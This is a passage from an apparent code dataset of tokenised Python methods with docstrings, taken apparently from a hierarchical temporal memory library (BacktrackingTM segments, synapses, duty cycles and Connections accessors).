"This function produces goodness-of-match scores for a set of input patterns,\nby checking for their presence in the current and predicted output of the\nTM. Returns a global count of the number of extra and missing bits, the\nconfidence scores for each input pattern, and (if requested) the\nbits in each input pattern that were not present in the TM's prediction.\n\n:param patternNZs a list of input patterns that we want to check for. Each\n                  element is a list of the non-zeros in that pattern.\n:param output     The output of the TM. If not specified, then use the\n                  TM's current output. This can be specified if you are\n                  trying to check the prediction metric for an output from\n                  the past.\n:param colConfidence The column confidences. If not specified, then use the\n                     TM's current self.colConfidence. This can be specified if you\n                     are trying to check the prediction metrics for an output\n                     from the past.\n:param details    if True, also include details of missing bits per pattern.\n\n:returns:  list containing:\n\n          [\n            totalExtras,\n            totalMissing,\n            [conf_1, conf_2, ...],\n            [missing1, missing2, ...]\n          ]\n\n@retval totalExtras a global count of the number of 'extras', i.e. bits that\n                    are on in the current output but not in the or of all the\n                    passed in patterns\n@retval totalMissing a global count of all the missing bits, i.e. the bits\n                     that are on in the or of the patterns, but not in the\n                     current output\n@retval conf_i the confidence score for the i'th pattern inpatternsToCheck\n               This consists of 3 items as a tuple:\n               (predictionScore, posPredictionScore, negPredictionScore)\n@retval missing_i the bits in the i'th pattern that were missing\n                  in the output. This list is only returned if details is\n                  True.", "id": "f17565:c0:m69"}
{"signature": "def _isSegmentActive(self, seg, activeState):", "body": "<EOL>return isSegmentActive(seg.syns, activeState,<EOL>self.connectedPerm, self.activationThreshold)<EOL>", "docstring": "A segment is active if it has >= activationThreshold connected\nsynapses that are active due to activeState.\n\nNotes: studied various cutoffs, none of which seem to be worthwhile\n       list comprehension didn't help either\n\n:param seg TODO: document\n:param activeState TODO: document", "id": "f17565:c0:m70"}
{"signature": "def _getSegmentActivityLevel(self, seg, activeState,<EOL>connectedSynapsesOnly=False):", "body": "<EOL>return getSegmentActivityLevel(seg.syns, activeState, connectedSynapsesOnly,<EOL>self.connectedPerm)<EOL>", "docstring": "This routine computes the activity level of a segment given activeState.\nIt can tally up only connected synapses (permanence >= connectedPerm), or\nall the synapses of the segment, at either t or t-1.\n\n:param seg TODO: document\n:param activeState TODO: document\n:param connectedSynapsesOnly TODO: document", "id": "f17565:c0:m71"}
{"signature": "def _getBestMatchingCell(self, c, activeState, minThreshold):", "body": "<EOL>bestActivityInCol = minThreshold<EOL>bestSegIdxInCol = -<NUM_LIT:1><EOL>bestCellInCol = -<NUM_LIT:1><EOL>for i in range(self.cellsPerColumn):<EOL><INDENT>maxSegActivity = <NUM_LIT:0><EOL>maxSegIdx = <NUM_LIT:0><EOL>for j, s in enumerate(self.cells[c][i]):<EOL><INDENT>activity = self._getSegmentActivityLevel(s, activeState)<EOL>if activity > maxSegActivity:<EOL><INDENT>maxSegActivity = activity<EOL>maxSegIdx = j<EOL><DEDENT><DEDENT>if maxSegActivity >= bestActivityInCol:<EOL><INDENT>bestActivityInCol = maxSegActivity<EOL>bestSegIdxInCol = maxSegIdx<EOL>bestCellInCol = i<EOL><DEDENT><DEDENT>if bestCellInCol == -<NUM_LIT:1>:<EOL><INDENT>return (None, None, None)<EOL><DEDENT>else:<EOL><INDENT>return (bestCellInCol, self.cells[c][bestCellInCol][bestSegIdxInCol],<EOL>bestActivityInCol)<EOL><DEDENT>", "docstring": "Find weakly activated cell in column with at least minThreshold active\nsynapses.\n\n:param c            which column to look at\n:param activeState  the active cells\n:param minThreshold minimum number of synapses required\n\n:returns: tuple (cellIdx, segment, numActiveSynapses)", "id": "f17565:c0:m72"}
{"signature": "def _getBestMatchingSegment(self, c, i, activeState):", "body": "maxActivity, which = self.minThreshold, -<NUM_LIT:1><EOL>for j, s in enumerate(self.cells[c][i]):<EOL><INDENT>activity = self._getSegmentActivityLevel(s, activeState,<EOL>connectedSynapsesOnly=False)<EOL>if activity >= maxActivity:<EOL><INDENT>maxActivity, which = activity, j<EOL><DEDENT><DEDENT>if which == -<NUM_LIT:1>:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self.cells[c][i][which]<EOL><DEDENT>", "docstring": "For the given cell, find the segment with the largest number of active\nsynapses. This routine is aggressive in finding the best match. The\npermanence value of synapses is allowed to be below connectedPerm. The number\nof active synapses is allowed to be below activationThreshold, but must be\nabove minThreshold. The routine returns the segment index. If no segments are\nfound, then an index of -1 is returned.\n\n:param c TODO: document\n:param i TODO: document\n:param activeState TODO: document", "id": "f17565:c0:m73"}
{"signature": "def _getCellForNewSegment(self, colIdx):", "body": "<EOL>if self.maxSegmentsPerCell < <NUM_LIT:0>:<EOL><INDENT>if self.cellsPerColumn > <NUM_LIT:1>:<EOL><INDENT>i = self._random.getUInt32(self.cellsPerColumn-<NUM_LIT:1>) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:0><EOL><DEDENT>return i<EOL><DEDENT>candidateCellIdxs = []<EOL>if self.cellsPerColumn == <NUM_LIT:1>:<EOL><INDENT>minIdx = <NUM_LIT:0><EOL>maxIdx = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>minIdx = <NUM_LIT:1>                      <EOL>maxIdx = self.cellsPerColumn-<NUM_LIT:1><EOL><DEDENT>for i in range(minIdx, maxIdx+<NUM_LIT:1>):<EOL><INDENT>numSegs = len(self.cells[colIdx][i])<EOL>if numSegs < self.maxSegmentsPerCell:<EOL><INDENT>candidateCellIdxs.append(i)<EOL><DEDENT><DEDENT>if len(candidateCellIdxs) > <NUM_LIT:0>:<EOL><INDENT>candidateCellIdx = (<EOL>candidateCellIdxs[self._random.getUInt32(len(candidateCellIdxs))])<EOL>if self.verbosity >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>colIdx, candidateCellIdx, len(self.cells[colIdx][candidateCellIdx])))<EOL><DEDENT>return candidateCellIdx<EOL><DEDENT>candidateSegment = None<EOL>candidateSegmentDC = <NUM_LIT:1.0><EOL>for i in range(minIdx, maxIdx+<NUM_LIT:1>):<EOL><INDENT>for s in self.cells[colIdx][i]:<EOL><INDENT>dc = s.dutyCycle()<EOL>if dc < candidateSegmentDC:<EOL><INDENT>candidateCellIdx = i<EOL>candidateSegmentDC = dc<EOL>candidateSegment = s<EOL><DEDENT><DEDENT><DEDENT>if self.verbosity >= <NUM_LIT:5>:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (candidateSegment.segID, colIdx, candidateCellIdx)))<EOL>candidateSegment.debugPrint()<EOL><DEDENT>self._cleanUpdatesList(colIdx, candidateCellIdx, candidateSegment)<EOL>self.cells[colIdx][candidateCellIdx].remove(candidateSegment)<EOL>return candidateCellIdx<EOL>", "docstring": "Return the index of a cell in this column which is a good candidate\nfor adding a new segment.\n\nWhen we have fixed size resources in effect, we insure that we pick a\ncell which does not already have the max number of allowed segments. If\nnone exists, we choose the least used segment in the column to re-allocate.\n\n:param colIdx which column to look at\n:returns: cell index", "id": "f17565:c0:m74"}
{"signature": "def _getSegmentActiveSynapses(self, c, i, s, activeState, newSynapses=False):", "body": "activeSynapses = []<EOL>if s is not None: <EOL><INDENT>activeSynapses = [idx for idx, syn in enumerate(s.syns)if activeState[syn[<NUM_LIT:0>], syn[<NUM_LIT:1>]]]<EOL><DEDENT>if newSynapses: <EOL><INDENT>nSynapsesToAdd = self.newSynapseCount - len(activeSynapses)<EOL>activeSynapses += self._chooseCellsToLearnFrom(c, i, s, nSynapsesToAdd,<EOL>activeState)<EOL><DEDENT>update = BacktrackingTM._SegmentUpdate(c, i, s, activeSynapses)<EOL>return update<EOL>", "docstring": "Return a segmentUpdate data structure containing a list of proposed\nchanges to segment s. Let activeSynapses be the list of active synapses\nwhere the originating cells have their activeState output = 1 at time step\nt. (This list is empty if s is None since the segment doesn't exist.)\nnewSynapses is an optional argument that defaults to false. If newSynapses\nis true, then newSynapseCount - len(activeSynapses) synapses are added to\nactiveSynapses. These synapses are randomly chosen from the set of cells\nthat have learnState = 1 at timeStep.\n\n:param c TODO: document\n:param i TODO: document\n:param s TODO: document\n:param activeState TODO: document\n:param newSynapses TODO: document", "id": "f17565:c0:m75"}
{"signature": "def _chooseCellsToLearnFrom(self, c, i, s, n, activeState):", "body": "if n <= <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>tmpCandidates = numpy.where(activeState == <NUM_LIT:1>)<EOL>if len(tmpCandidates[<NUM_LIT:0>]) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>if s is None: <EOL><INDENT>cands = [syn for syn in zip(tmpCandidates[<NUM_LIT:0>], tmpCandidates[<NUM_LIT:1>])]<EOL><DEDENT>else:<EOL><INDENT>synapsesAlreadyInSegment = set((syn[<NUM_LIT:0>], syn[<NUM_LIT:1>]) for syn in s.syns)<EOL>cands = [syn for syn in zip(tmpCandidates[<NUM_LIT:0>], tmpCandidates[<NUM_LIT:1>])<EOL>if (syn[<NUM_LIT:0>], syn[<NUM_LIT:1>]) not in synapsesAlreadyInSegment]<EOL><DEDENT>if len(cands) <= n:<EOL><INDENT>return cands<EOL><DEDENT>if n == <NUM_LIT:1>: <EOL><INDENT>idx = self._random.getUInt32(len(cands))<EOL>return [cands[idx]]  <EOL><DEDENT>indices = numpy.array([j for j in range(len(cands))], dtype='<STR_LIT>')<EOL>tmp = numpy.zeros(min(n, len(indices)), dtype='<STR_LIT>')<EOL>self._random.sample(indices, tmp)<EOL>return sorted([cands[j] for j in tmp])<EOL>", "docstring": "Choose n random cells to learn from.\n\nThis function is called several times while learning with timeStep = t-1, so\nwe cache the set of candidates for that case. It's also called once with\ntimeStep = t, and we cache that set of candidates.\n\n:returns: tuple (column index, cell index).", "id": "f17565:c0:m76"}
{"signature": "def _processSegmentUpdates(self, activeColumns):", "body": "<EOL>removeKeys = []<EOL>trimSegments = []<EOL>for key, updateList in self.segmentUpdates.items():<EOL><INDENT>c, i = key[<NUM_LIT:0>], key[<NUM_LIT:1>]<EOL>if c in activeColumns:<EOL><INDENT>action = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if self.doPooling and self.lrnPredictedState['<STR_LIT:t>'][c, i] == <NUM_LIT:1>:<EOL><INDENT>action = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>action = '<STR_LIT>'<EOL><DEDENT><DEDENT>updateListKeep = []<EOL>if action != '<STR_LIT>':<EOL><INDENT>for (createDate, segUpdate) in updateList:<EOL><INDENT>if self.verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\", self.lrnIterationIdx, end='<STR_LIT:U+0020>')<EOL>print(segUpdate)<EOL><DEDENT>if self.lrnIterationIdx - createDate > self.segUpdateValidDuration:<EOL><INDENT>continue<EOL><DEDENT>if action == '<STR_LIT>':<EOL><INDENT>trimSegment = self._adaptSegment(segUpdate)<EOL>if trimSegment:<EOL><INDENT>trimSegments.append((segUpdate.columnIdx, segUpdate.cellIdx,<EOL>segUpdate.segment))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>updateListKeep.append((createDate, segUpdate))<EOL><DEDENT><DEDENT><DEDENT>self.segmentUpdates[key] = updateListKeep<EOL>if len(updateListKeep) == <NUM_LIT:0>:<EOL><INDENT>removeKeys.append(key)<EOL><DEDENT><DEDENT>for key in removeKeys:<EOL><INDENT>self.segmentUpdates.pop(key)<EOL><DEDENT>for (c, i, segment) in trimSegments:<EOL><INDENT>self._trimSegmentsInCell(c, i, [segment], minPermanence = <NUM_LIT>,<EOL>minNumSyns = <NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Go through the list of accumulated segment updates and process them\nas follows:\n\nif the segment update is too old, remove the update\nelse if the cell received bottom-up, update its permanences\nelse if it's still being predicted, leave it in the queue\nelse remove it.\n\n:param activeColumns TODO: document", "id": "f17565:c0:m77"}
{"signature": "def _adaptSegment(self, segUpdate):", "body": "<EOL>trimSegment = False<EOL>c, i, segment = segUpdate.columnIdx, segUpdate.cellIdx, segUpdate.segment<EOL>activeSynapses = segUpdate.activeSynapses<EOL>synToUpdate = set([syn for syn in activeSynapses if type(syn) == int])<EOL>if segment is not None:<EOL><INDENT>if self.verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\" % (segment.segID, c, i))<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>segment.debugPrint()<EOL><DEDENT>segment.lastActiveIteration = self.lrnIterationIdx<EOL>segment.positiveActivations += <NUM_LIT:1>       <EOL>segment.dutyCycle(active=True)<EOL>lastSynIndex = len(segment.syns) - <NUM_LIT:1><EOL>inactiveSynIndices = [s for s in range(<NUM_LIT:0>, lastSynIndex+<NUM_LIT:1>)if s not in synToUpdate]<EOL>trimSegment = segment.updateSynapses(inactiveSynIndices,<EOL>-self.permanenceDec)<EOL>activeSynIndices = [syn for syn in synToUpdate if syn <= lastSynIndex]<EOL>segment.updateSynapses(activeSynIndices, self.permanenceInc)<EOL>synsToAdd = [syn for syn in activeSynapses if type(syn) != int]<EOL>if self.maxSynapsesPerSegment > <NUM_LIT:0>and len(synsToAdd) + len(segment.syns) > self.maxSynapsesPerSegment:<EOL><INDENT>numToFree = (len(segment.syns) + len(synsToAdd) -<EOL>self.maxSynapsesPerSegment)<EOL>segment.freeNSynapses(numToFree, inactiveSynIndices, self.verbosity)<EOL><DEDENT>for newSyn in synsToAdd:<EOL><INDENT>segment.addSynapse(newSyn[<NUM_LIT:0>], newSyn[<NUM_LIT:1>], self.initialPerm)<EOL><DEDENT>if self.verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>segment.debugPrint()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>newSegment = Segment(tm=self, isSequenceSeg=segUpdate.sequenceSegment)<EOL>for synapse in activeSynapses:<EOL><INDENT>newSegment.addSynapse(synapse[<NUM_LIT:0>], synapse[<NUM_LIT:1>], self.initialPerm)<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\" % (self.segID-<NUM_LIT:1>, c, i), end='<STR_LIT:U+0020>')<EOL>newSegment.debugPrint()<EOL><DEDENT>self.cells[c][i].append(newSegment)<EOL><DEDENT>return trimSegment<EOL>", "docstring": "This function applies segment update information to a segment in a\ncell.\n\nSynapses on the active list get their permanence counts incremented by\npermanenceInc. All other synapses get their permanence counts decremented\nby permanenceDec.\n\nWe also increment the positiveActivations count of the segment.\n\n:param segUpdate SegmentUpdate instance\n:returns: True if some synapses were decremented to 0 and the segment is a\n         candidate for trimming", "id": "f17565:c0:m78"}
{"signature": "def getSegmentInfo(self, collectActiveData = False):", "body": "nSegments, nSynapses = <NUM_LIT:0>, <NUM_LIT:0><EOL>nActiveSegs, nActiveSynapses = <NUM_LIT:0>, <NUM_LIT:0><EOL>distSegSizes, distNSegsPerCell = {}, {}<EOL>distPermValues = {}   <EOL>numAgeBuckets = <NUM_LIT:20><EOL>distAges = []<EOL>ageBucketSize = int((self.lrnIterationIdx+<NUM_LIT:20>) / <NUM_LIT:20>)<EOL>for i in range(numAgeBuckets):<EOL><INDENT>distAges.append(['<STR_LIT>' % (i*ageBucketSize, (i+<NUM_LIT:1>)*ageBucketSize-<NUM_LIT:1>), <NUM_LIT:0>])<EOL><DEDENT>for c in range(self.numberOfCols):<EOL><INDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>if len(self.cells[c][i]) > <NUM_LIT:0>:<EOL><INDENT>nSegmentsThisCell = len(self.cells[c][i])<EOL>nSegments += nSegmentsThisCell<EOL>if nSegmentsThisCell in distNSegsPerCell:<EOL><INDENT>distNSegsPerCell[nSegmentsThisCell] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distNSegsPerCell[nSegmentsThisCell] = <NUM_LIT:1><EOL><DEDENT>for seg in self.cells[c][i]:<EOL><INDENT>nSynapsesThisSeg = seg.getNumSynapses()<EOL>nSynapses += nSynapsesThisSeg<EOL>if nSynapsesThisSeg in distSegSizes:<EOL><INDENT>distSegSizes[nSynapsesThisSeg] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distSegSizes[nSynapsesThisSeg] = <NUM_LIT:1><EOL><DEDENT>for syn in seg.syns:<EOL><INDENT>p = int(syn[<NUM_LIT:2>]*<NUM_LIT:10>)<EOL>if p in distPermValues:<EOL><INDENT>distPermValues[p] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distPermValues[p] = <NUM_LIT:1><EOL><DEDENT><DEDENT>age = self.lrnIterationIdx - seg.lastActiveIteration<EOL>ageBucket = int(age/ageBucketSize)<EOL>distAges[ageBucket][<NUM_LIT:1>] += <NUM_LIT:1><EOL>if collectActiveData:<EOL><INDENT>if self._isSegmentActive(seg, self.infActiveState['<STR_LIT:t>']):<EOL><INDENT>nActiveSegs += <NUM_LIT:1><EOL><DEDENT>for syn in seg.syns:<EOL><INDENT>if self.activeState['<STR_LIT:t>'][syn[<NUM_LIT:0>]][syn[<NUM_LIT:1>]] == <NUM_LIT:1>:<EOL><INDENT>nActiveSynapses += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return (nSegments, nSynapses, nActiveSegs, nActiveSynapses,<EOL>distSegSizes, distNSegsPerCell, distPermValues, distAges)<EOL>", "docstring": "Returns information about the distribution of segments, synapses and\n        permanence values in the current TM. If requested, also returns information\n        regarding the number of currently active segments and synapses.\n\n        :returns: tuple described below:\n\n          ::\n\n            (\n              nSegments,\n              nSynapses,\n              nActiveSegs,\n              nActiveSynapses,\n              distSegSizes,\n              distNSegsPerCell,\n              distPermValues,\n              distAges\n            )\n\n        - ``nSegments``: (int) total number of segments\n        - ``nSynapses``: (int) total number of synapses\n        - ``nActiveSegs``: (int) total number of active segments (0 if \n              ``collectActiveData`` is False)\n        - ``nActiveSynapses``: (int) total number of active synapses 0 if \n              ``collectActiveData`` is False\n        - ``distSegSizes``: (dict) where d[n] = number of segments with n synapses\n        - ``distNSegsPerCell``: (dict) where d[n] = number of cells with n segments\n        - ``distPermValues``: (dict) where d[p] = number of synapses with perm = p/10\n        - ``distAges``: (list) of tuples (``ageRange``, ``numSegments``)", "id": "f17565:c0:m79"}
{"signature": "def dutyCycle(self, active=False, readOnly=False):", "body": "<EOL>if self.tm.lrnIterationIdx <= self.dutyCycleTiers[<NUM_LIT:1>]:<EOL><INDENT>dutyCycle = float(self.positiveActivations)/ self.tm.lrnIterationIdx<EOL>if not readOnly:<EOL><INDENT>self._lastPosDutyCycleIteration = self.tm.lrnIterationIdx<EOL>self._lastPosDutyCycle = dutyCycle<EOL><DEDENT>return dutyCycle<EOL><DEDENT>age = self.tm.lrnIterationIdx - self._lastPosDutyCycleIteration<EOL>if age == <NUM_LIT:0> and not active:<EOL><INDENT>return self._lastPosDutyCycle<EOL><DEDENT>for tierIdx in range(len(self.dutyCycleTiers)-<NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if self.tm.lrnIterationIdx > self.dutyCycleTiers[tierIdx]:<EOL><INDENT>alpha = self.dutyCycleAlphas[tierIdx]<EOL>break<EOL><DEDENT><DEDENT>dutyCycle = pow(<NUM_LIT:1.0>-alpha, age) * self._lastPosDutyCycle<EOL>if active:<EOL><INDENT>dutyCycle += alpha<EOL><DEDENT>if not readOnly:<EOL><INDENT>self._lastPosDutyCycleIteration = self.tm.lrnIterationIdx<EOL>self._lastPosDutyCycle = dutyCycle<EOL><DEDENT>return dutyCycle<EOL>", "docstring": "Compute/update and return the positive activations duty cycle of\n        this segment. This is a measure of how often this segment is\n        providing good predictions.\n\n        :param active   True if segment just provided a good prediction\n\n        :param readOnly If True, compute the updated duty cycle, but don't change\n                   the cached value. This is used by debugging print statements.\n\n        :returns: The duty cycle, a measure of how often this segment is\n        providing good predictions.\n\n        **NOTE:** This method relies on different schemes to compute the duty cycle\n        based on how much history we have. In order to support this tiered\n        approach **IT MUST BE CALLED ON EVERY SEGMENT AT EACH DUTY CYCLE TIER**\n        (@ref dutyCycleTiers).\n\n        When we don't have a lot of history yet (first tier), we simply return\n        number of positive activations / total number of iterations\n\n        After a certain number of iterations have accumulated, it converts into\n        a moving average calculation, which is updated only when requested\n        since it can be a bit expensive to compute on every iteration (it uses\n        the pow() function).\n\n        The duty cycle is computed as follows:\n\n            dc[t] = (1-alpha) * dc[t-1] + alpha * value[t]\n\n        If the value[t] has been 0 for a number of steps in a row, you can apply\n        all of the updates at once using:\n\n            dc[t] = (1-alpha)^(t-lastT) * dc[lastT]\n\n        We use the alphas and tiers as defined in @ref dutyCycleAlphas and\n        @ref dutyCycleTiers.", "id": "f17565:c1:m6"}
{"signature": "def debugPrint(self):", "body": "<EOL>print(\"<STR_LIT>\" % (self.segID), end='<STR_LIT:U+0020>')<EOL>if self.isSequenceSeg:<EOL><INDENT>print(\"<STR_LIT:True>\", end='<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT:False>\", end='<STR_LIT:U+0020>')<EOL><DEDENT>print(\"<STR_LIT>\" % (self.dutyCycle(readOnly=True)), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (self.positiveActivations,<EOL>self.totalActivations), end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\" % (self.tm.lrnIterationIdx - self.lastActiveIteration), end='<STR_LIT:U+0020>')<EOL>sortedSyns = sorted(self.syns)<EOL>for _, synapse in enumerate(sortedSyns):<EOL><INDENT>print(\"<STR_LIT>\" % (synapse[<NUM_LIT:0>], synapse[<NUM_LIT:1>], synapse[<NUM_LIT:2>]), end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL>", "docstring": "Print segment information for verbose messaging and debugging.\n        This uses the following format:\n\n         ID:54413 True 0.64801 (24/36) 101 [9,1]0.75 [10,1]0.75 [11,1]0.75\n\n        where:\n          54413 - is the unique segment id\n          True - is sequence segment\n          0.64801 - moving average duty cycle\n          (24/36) - (numPositiveActivations / numTotalActivations)\n          101 - age, number of iterations since last activated\n          [9,1]0.75 - synapse from column 9, cell #1, strength 0.75\n          [10,1]0.75 - synapse from column 10, cell #1, strength 0.75\n          [11,1]0.75 - synapse from column 11, cell #1, strength 0.75", "id": "f17565:c1:m7"}
{"signature": "def freeNSynapses(self, numToFree, inactiveSynapseIndices, verbosity= <NUM_LIT:0>):", "body": "<EOL>assert (numToFree <= len(self.syns))<EOL>if (verbosity >= <NUM_LIT:4>):<EOL><INDENT>print(\"<STR_LIT>\", numToFree, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>for i in inactiveSynapseIndices:<EOL><INDENT>print(self.syns[i][<NUM_LIT:0>:<NUM_LIT:2>], end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL><DEDENT>if len(inactiveSynapseIndices) > <NUM_LIT:0>:<EOL><INDENT>perms = numpy.array([self.syns[i][<NUM_LIT:2>] for i in inactiveSynapseIndices])<EOL>candidates = numpy.array(inactiveSynapseIndices)[<EOL>perms.argsort()[<NUM_LIT:0>:numToFree]]<EOL>candidates = list(candidates)<EOL><DEDENT>else:<EOL><INDENT>candidates = []<EOL><DEDENT>if len(candidates) < numToFree:<EOL><INDENT>activeSynIndices = [i for i in range(len(self.syns))<EOL>if i not in inactiveSynapseIndices]<EOL>perms = numpy.array([self.syns[i][<NUM_LIT:2>] for i in activeSynIndices])<EOL>moreToFree = numToFree - len(candidates)<EOL>moreCandidates = numpy.array(activeSynIndices)[<EOL>perms.argsort()[<NUM_LIT:0>:moreToFree]]<EOL>candidates += list(moreCandidates)<EOL><DEDENT>if verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>len(candidates)), candidates)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>self.debugPrint()<EOL><DEDENT>synsToDelete = [self.syns[i] for i in candidates]<EOL>for syn in synsToDelete:<EOL><INDENT>self.syns.remove(syn)<EOL><DEDENT>if verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>self.debugPrint()<EOL><DEDENT>", "docstring": "Free up some synapses in this segment. We always free up inactive\n        synapses (lowest permanence freed up first) before we start to free up\n        active ones.\n\n        :param numToFree              number of synapses to free up\n        :param inactiveSynapseIndices list of the inactive synapse indices.", "id": "f17565:c1:m10"}
{"signature": "def addSynapse(self, srcCellCol, srcCellIdx, perm):", "body": "self.syns.append([int(srcCellCol), int(srcCellIdx), numpy.float32(perm)])<EOL>", "docstring": "Add a new synapse\n\n        :param srcCellCol source cell column\n        :param srcCellIdx source cell index within the column\n        :param perm       initial permanence", "id": "f17565:c1:m11"}
{"signature": "def updateSynapses(self, synapses, delta):", "body": "reached0 = False<EOL>if delta > <NUM_LIT:0>:<EOL><INDENT>for synapse in synapses:<EOL><INDENT>self.syns[synapse][<NUM_LIT:2>] = newValue = self.syns[synapse][<NUM_LIT:2>] + delta<EOL>if newValue > self.tm.permanenceMax:<EOL><INDENT>self.syns[synapse][<NUM_LIT:2>] = self.tm.permanenceMax<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for synapse in synapses:<EOL><INDENT>self.syns[synapse][<NUM_LIT:2>] = newValue = self.syns[synapse][<NUM_LIT:2>] + delta<EOL>if newValue <= <NUM_LIT:0>:<EOL><INDENT>self.syns[synapse][<NUM_LIT:2>] = <NUM_LIT:0><EOL>reached0 = True<EOL><DEDENT><DEDENT><DEDENT>return reached0<EOL>", "docstring": "Update a set of synapses in the segment.\n\n        :param tm       The owner TM\n        :param synapses List of synapse indices to update\n        :param delta    How much to add to each permanence\n\n        :returns:   True if synapse reached 0", "id": "f17565:c1:m12"}
{"signature": "def binSearch(arr, val):", "body": "i = bisect_left(arr, val)<EOL>if i != len(arr) and arr[i] == val:<EOL><INDENT>return i<EOL><DEDENT>return -<NUM_LIT:1><EOL>", "docstring": "Function for running binary search on a sorted list.\n\n:param arr: (list) a sorted list of integers to search\n:param val: (int)  a integer to search for in the sorted array\n:returns: (int) the index of the element if it is found and -1 otherwise.", "id": "f17567:m0"}
{"signature": "def __eq__(self, other):", "body": "return (self.cell == other.cell and<EOL>(sorted(self._synapses, key=lambda x: x._ordinal) ==<EOL>sorted(other._synapses, key=lambda x: x._ordinal)))<EOL>", "docstring": "Explicitly implement this for unit testing. The flatIdx is not designed\n        to be consistent after serialize / deserialize, and the synapses might not\n        enumerate in the same order.", "id": "f17567:c0:m1"}
{"signature": "def __eq__(self, other):", "body": "return (self.segment.cell == other.segment.cell and<EOL>self.presynapticCell == other.presynapticCell and<EOL>abs(self.permanence - other.permanence) < EPSILON)<EOL>", "docstring": "Explicitly implement this for unit testing. Allow floating point\n        differences for synapse permanence.", "id": "f17567:c1:m1"}
{"signature": "def segmentsForCell(self, cell):", "body": "return self._cells[cell]._segments<EOL>", "docstring": "Returns the segments that belong to a cell.\n\n:param cell: (int) Cell index\n:returns: (list) Segment objects representing segments on the given cell.", "id": "f17567:c3:m1"}
{"signature": "def synapsesForSegment(self, segment):", "body": "return segment._synapses<EOL>", "docstring": "Returns the synapses on a segment.\n\n:param segment: (int) Segment index\n:returns: (set) Synapse objects representing synapses on the given segment.", "id": "f17567:c3:m2"}
{"signature": "def dataForSynapse(self, synapse):", "body": "return synapse<EOL>", "docstring": "Returns the data for a synapse.\n\n.. note:: This method exists to match the interface of the C++ Connections. \n   This allows tests and tools to inspect the connections using a common \n   interface.\n\n:param synapse: (:class:`Synapse`)\n:returns: Synapse data", "id": "f17567:c3:m3"}
{"signature": "def dataForSegment(self, segment):", "body": "return segment<EOL>", "docstring": "Returns the data for a segment.\n\n.. note:: This method exists to match the interface of the C++ Connections. \n   This allows tests and tools to inspect the connections using a common \n   interface.\n\n:param segment (:class:`Segment`)\n:returns: segment data", "id": "f17567:c3:m4"}
{"signature": "def getSegment(self, cell, idx):", "body": "return self._cells[cell]._segments[idx]<EOL>", "docstring": "Returns a :class:`Segment` object of the specified segment using data from \nthe ``self._cells`` array.\n\n:param cell: (int) cell index\n:param idx:  (int) segment index on a cell\n:returns: (:class:`Segment`) Segment object with index idx on the specified cell", "id": "f17567:c3:m5"}
{"signature": "def segmentForFlatIdx(self, flatIdx):", "body": "return self._segmentForFlatIdx[flatIdx]<EOL>", "docstring": "Get the segment with the specified flatIdx.\n\n:param flatIdx: (int) The segment's flattened list index.\n\n:returns: (:class:`Segment`)", "id": "f17567:c3:m6"}
{"signature": "def segmentFlatListLength(self):", "body": "return self._nextFlatIdx<EOL>", "docstring": "Get the needed length for a list to hold a value for every segment's \nflatIdx.\n\n:returns: (int) Required list length", "id": "f17567:c3:m7"}
{"signature": "def synapsesForPresynapticCell(self, presynapticCell):", "body": "return self._synapsesForPresynapticCell[presynapticCell]<EOL>", "docstring": "Returns the synapses for the source cell that they synapse on.\n\n:param presynapticCell: (int) Source cell index\n\n:returns: (set) :class:`Synapse` objects", "id": "f17567:c3:m8"}
